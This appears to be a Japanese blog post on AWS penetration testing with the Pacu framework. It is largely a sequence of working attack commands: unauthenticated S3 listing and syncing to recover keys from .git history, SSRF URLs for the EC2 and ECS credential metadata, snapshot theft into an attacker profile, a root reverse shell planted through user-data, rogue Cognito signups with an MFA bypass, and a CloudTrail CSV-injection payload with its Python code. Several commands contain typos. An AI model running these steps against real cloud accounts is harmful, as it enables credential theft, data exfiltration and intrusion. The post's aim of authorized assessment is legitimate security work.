クラウドでは１つの設定で無数の影響が発生する。安易な対処療法ではなく診断が大切
クラウド環境(AWS)で旧来のプラットフォーム診断よろしくNmapなどでポートスキャンを回したところでGuardDuty(Recon:EC2/Portscan)に検知されるが関の山で、クラウド特有の問題に常識をアップデートしなければ現在のリスクに対応できません。
(万が一、GuardDutyをONにして無かったらしれっと準拠しましょう)
クラウド設定不備を突かれる攻撃が後を絶たないのは何故でしょう。設定や構成の不備を治すのは人です。設定や構成した人が想定する影響の波及範囲が遥かに広大であるため、単純に意図した設定か確認しその部分だけ蓋をするの従来的な対応では思わぬ悪用の可能性が潰しきれないからです。
これにも関連してAWSやGoogle CloudではEC２で不正なコードを実行させる。セキュリティグループにバックドアを仕掛ける。権限の不正昇格などまで再現可能なpacuというツールが利用可能であり、結果まで完遂しないとリスクを示しづらいクラウド診断の大きな助けになります。
pacuのインストールと簡単な利用の流れ
Pythonの環境（Google ColabでもOK）で以下を実行しピラニアらしきアスキーアートが出てきたらインストール完了です。コマンドの先頭!を入れ、cdの時だけ％を入れる
git clone https://github.com/RhinoSecurityLabs/pacu
cd pacu
bash install.sh
python3 pacu.pyまずは情報収集からです。lsコマンドでモジュール一覧が表示されるのでrun+enumが含まれているモジュール名を実行します。
run aws__enum_account
run ec2__enum --regions ap-northeast-1IAMActionHunterも追加され、網羅的な確認と説明責任に活用可能になりますます強化されたpacuはこれかも楽しみですね。
S3
AWSを使用している疑いのサイトURLのnslookupなどで引いたIPを、もう一度nslookup引いてみるとS3であることが判る場合があります。
WapplazerがS3を推定する場合にも使用している手段ですね。
nslookup (nslookupなどで引いたIP)
Non-authoritative answer:
131.212.92.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.アクセスキーがない場合でも以下のようなアプローチが可能です。–no-sign-requestと–regionでリージョンを指定して実行します。
aws s3 ls s3://(AWSを使用している疑いのサイトURL) --no-sign-request --region us-west-2ここでAccess Deniedが返ってきた場合も、S3アクセス可能なオレオレプロファイルで実行するとアクセスできる場合があります
aws --profile (任意のS3プロファイル) s3 ls s3://(AWSを使用している疑いのサイトURL).gitファイルの危険性も理解すべきです。syncしてtig s（git logでもOK）で過去に一時的にでも入れたコンテンツが表示できます。アクセスキー等機微な情報を取得できる可能性があります。
aws s3 sync s3://(AWSを使用している疑いのサイトURL) --no-sign-request --region us-west-2CloudFrontを手前に置きPUTを禁止しOACの構成にするのはもちろん、S3には一時的であっても機微な情報を置かないことが大切です。
AWS EC2
以下のパスにSSRFするとクレデンシャルを入手することができます。
IPv4
http://169.254.169.254/latest/meta-data/
IPv6
http://fd00:ec2::254/latest/meta-data/
ちなみにECSのメタデータはhttp://169.254.179.2/v2/metadataにありますが、クレデンシャルは「http://169.254.170.2/v2/credentials/
以下を確認して暗号化されているか（”Encrypted”:”false”）などボリュームの設定は以下のコマンドで確認できます。
aws --profile (任意のEC2プロファイル) ec2 discribe-volumes --region us-west-2暗号化されていない場合、aws sts get-caller-identityでidを確認することでスナップショットのSnapshot-Idが手に入ります。
aws --profile (任意のEC2プロファイル) ec2 discribe-snapshots --owner-id (取得したid) --region us-west-2取得したSnapshot-IdでEC2インスタンスを立ち上げてみます。立ち上がったらvolume-idを指定してアタッチします。
aws --profile (攻撃者のプロファイル) ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id Snapshot-Id raid aws --profile (攻撃者のプロファイル) ec2 attach-volume --volume-id (取得したID) --instance-id (取得したID) --device /dev/sdf --region us-west-2このままSSHで環境にアクセスできます。ここDBがあったら・・コストが高いからとEC２内にMySQLを入れアップデートもままならず3306も解放とアンチセキュリティを爆走する環境も現実には存在します。きちんとマネージドなRDSは使うべきと悟るはずです。
ec2__startup_shell_scriptモジュールはEC2インスタンスのユーザデータ機能を悪用して、任意のコードをroot権限で実行させることができます。リバースシェルを実行させ足場を確保するシナリオを実行するのが伝わりやすいでしょう。shファイルにやりたいことを書いて以下を実行します。
run ec2__startup_shell_script instance_ids i-xxxxxx@ap-northeast-1 --script /tmp/attack.sh指定した攻撃サーバでコマンドをいくつか打ち確かにシェルが取れているかを示します。
Cognito
ログインは提供するがユーザ登録は会社で契約に基づいて行うようなB向けのサービスで画面上は新規登録を提供していないが、ヘッダー変えて叩くと新規登録できてしまう環境を見かけることがあります。手動でもBurpSuiteなどで診断可能ですがpacuであれば以下のようなコマンドで直接、ユーザプールに不正なアカウントを作成させるテストを実行可能です。MFAがあってもガイダンス付きで突破可能です。
run cognito__attack --username randomuser --email pacu+test@xxxxx.com --identity_pools詳しくはここを見ましょう。
DX施策で社内アプリをクラウド上に移行した場合、Application Load Balancer でAmazon Cognito ユーザープールを使用するケースも見られるようになりましたのでこのような環境でも診断すべきでしょう。
Cloudtrail（監視基盤）
cloudtrail_csv_injection
cloudtrail_csv_injectionのモジュールではMicrosoft Excel や Google Sheets の式を名前として使用して CloudTrail 証跡を作成して「=cmd|’/C calc’|’’」のようなCSVを開いたタイミングで実行される文字列を混在させます。詳しくはこちらに紹介されています。
#!/usr/local/bin/python
import boto3
payload = “=cmd|’/C calc’|’’”
client = boto3.client(‘cloudtrail’)
response = client.create_trail(
Name=payload,
S3BucketName=”random”
)
print(response)これに限らず監視系のツールが悪用されるケースが後を立たないため、機微情報のマスクだけでなくビューワー出力時に害が及ばないように対策を講じることを考慮しなければなりませんね。
また、色々追記していきます。
以上です。参考になれば幸いです。